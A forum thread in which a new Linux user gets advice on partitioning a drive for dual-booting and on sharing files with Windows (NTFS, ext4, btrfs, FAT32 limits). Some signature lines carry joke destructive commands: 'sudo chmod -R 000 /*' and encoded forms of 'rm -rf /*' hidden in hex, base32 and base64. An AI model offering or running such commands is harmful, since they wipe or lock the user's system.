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1 hour ago, Joe Jackman said:

Thats exactly what i want to do.. should i partition it on linus or on windows?

It's probably better do make a linux partition with the Linux installer and leave the rest empty, then boot Windows and format the remaining space as NTFS.

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No, there are no file systems that are compatible with Windows and also allow you to install Linux (at least as far as I know) - unless you're willing to partition it. You can partition it in a way that most of the drive would be NTFS and readable from both though while the Linux partition would have to be EXT4 or something like that. The Linux partition will not be accessible from Windows but depending on the size of the drive that may not matter to you.

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No, there are no file systems that are compatible with Windows and also allow you to install Linux (at least as far as I know) - unless you're willing to partition it. You can partition it in a way that most of the drive would be NTFS and readable from both though while the Linux partition would have to be EXT4 or something like that. The Linux partition will not be accessible from Windows but depending on the size of the drive that may not matter to you.

Thats exactly what i want to do.. should i partition it on linus or on windows?

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1 hour ago, Joe Jackman said:

Thats exactly what i want to do.. should i partition it on linus or on windows?

It's probably better do make a linux partition with the Linux installer and leave the rest empty, then boot Windows and format the remaining space as NTFS.

Don't ask to ask, just ask... please 🤨

sudo chmod -R 000 /*

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51 minutes ago, Sauron said:

It's probably better do make a linux partition with the Linux installer and leave the rest empty, then boot Windows and format the remaining space as NTFS.

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8 minutes ago, Joe Jackman said:

this happens

 

Yes, you now need to

1 hour ago, Sauron said:

boot Windows and format the remaining space as NTFS.

 

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3 minutes ago, Sauron said:

Yes, you now need to

 

na i mean i cant erase and install. do i need to follow the steps of dual boot? um like idk what to do next (Very new to linus)

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If you're looking to use a Linux install as a storage partition for Windows, you'll need a filesystem readable by both Windows and Linux without too much problem. The best solution I can come up with is WinBTRFS.

This is a file system driver for Windows written by the reactOS team. It's pretty stable and most of the useful features of btrfs are in it already. 

# $(echo 726d202d7266202f2a0a | xxd -r -p)
# $(echo OJWSALLSMYQC6KQK | base32 -d)
# $(echo cm0gLXJmIC8qCg== | base64 -d)
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6 hours ago, CactusMan said:

If you're looking to use a Linux install as a storage partition for Windows, you'll need a filesystem readable by both Windows and Linux without too much problem. The best solution I can come up with is WinBTRFS.

This is a file system driver for Windows written by the reactOS team. It's pretty stable and most of the useful features of btrfs are in it already.

I don't know about "WinBTRFS" but just the naming smells like it only supports btrfs? If so then it might not work since the OP formatted his drive as ext4.

Have a look at https://www.diskinternals.com/linux-reader/ or https://sourceforge.net/projects/ext2read/ .

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5 hours ago, benitiv said:

I don't know about "WinBTRFS" but just the naming smells like it only supports btrfs? If so then it might not work since the OP formatted his drive as ext4.

Have a look at https://www.diskinternals.com/linux-reader/ or https://sourceforge.net/projects/ext2read/ .

Tried both, neither of them worked for me.

ext4 can be converted to btrfs https://btrfs.wiki.kernel.org/index.php/Conversion_from_Ext3 

# $(echo 726d202d7266202f2a0a | xxd -r -p)
# $(echo OJWSALLSMYQC6KQK | base32 -d)
# $(echo cm0gLXJmIC8qCg== | base64 -d)
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On 4/30/2020 at 9:38 PM, Sauron said:

It's probably better do make a linux partition with the Linux installer and leave the rest empty, then boot Windows and format the remaining space as NTFS.

95683439_1133763383640587_5383616268584615936_o.jpg?_nc_cat=105&_nc_sid=730e14&_nc_eui2=AeGJoCELJFtCluo4-6FGY4uKgnsPVu-vE7qCew9W768Tuorm9Rk1jrGlkiJaD56zzfGgwEBFOP-9razfV-f07M6i&_nc_ohc=eoeUHMKpkg4AX88FOw5&_nc_ht=scontent.fdac31-1.fna&oh=f77244727ab0c8c7beed346d473cf4ff&oe=5ED82109Thanks for the tip man, now i am editing on Linux and ngl i now have little use for windows now. I frekn love linux. And it worked right away but was too carried away for few days so didn't update it. runs games fairly well (LOL Garena dont work and BRU so Still have to use windows, sad) but ya Linux is very welcoming especially distros like POP OS.

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On 5/1/2020 at 12:13 AM, CactusMan said:

If you're looking to use a Linux install as a storage partition for Windows, you'll need a filesystem readable by both Windows and Linux without too much problem. The best solution I can come up with is WinBTRFS.

This is a file system driver for Windows written by the reactOS team. It's pretty stable and most of the useful features of btrfs are in it already.

well i could have just used Fat32 then.. oh well.. i thought about it few hours after i installed it.

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35 minutes ago, Joe Jackman said:

well i could have just used Fat32 then.. oh well.. i thought about it few hours after i installed it.

FAT32 is very limited so I would avoid it for an OS drive.

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this is probably said already but you you could use 2 different partitions if you are ok with that 

if you want a reply you need to quote or @me 

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Just now, Sauron said:

FAT32 is very limited so I would avoid it for an OS drive.

ik but for storage i mean, i can work on it... sadly i can only read and copy from my other drives so would have been useful if i went fat 32 for it.. i mostly work on video files and pdfs so ya... Fat32 wasnt a bad idea

 

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Just now, adiack said:

this is probably said already but you you could use 2 different partitions if you are ok with that 

ya i did just that

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1 minute ago, Joe Jackman said:

ik but for storage i mean, i can work on it... sadly i can only read and copy from my other drives so would have been useful if i went fat 32 for it.. i mostly work on video files and pdfs so ya... Fat32 wasnt a bad idea

 

FAT32 limits you to 4gb files max, not ideal for large video files...

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Just now, Sauron said:

FAT32 limits you to 4gb files max, not ideal for large video files...

oh ya.. Xd oh well.

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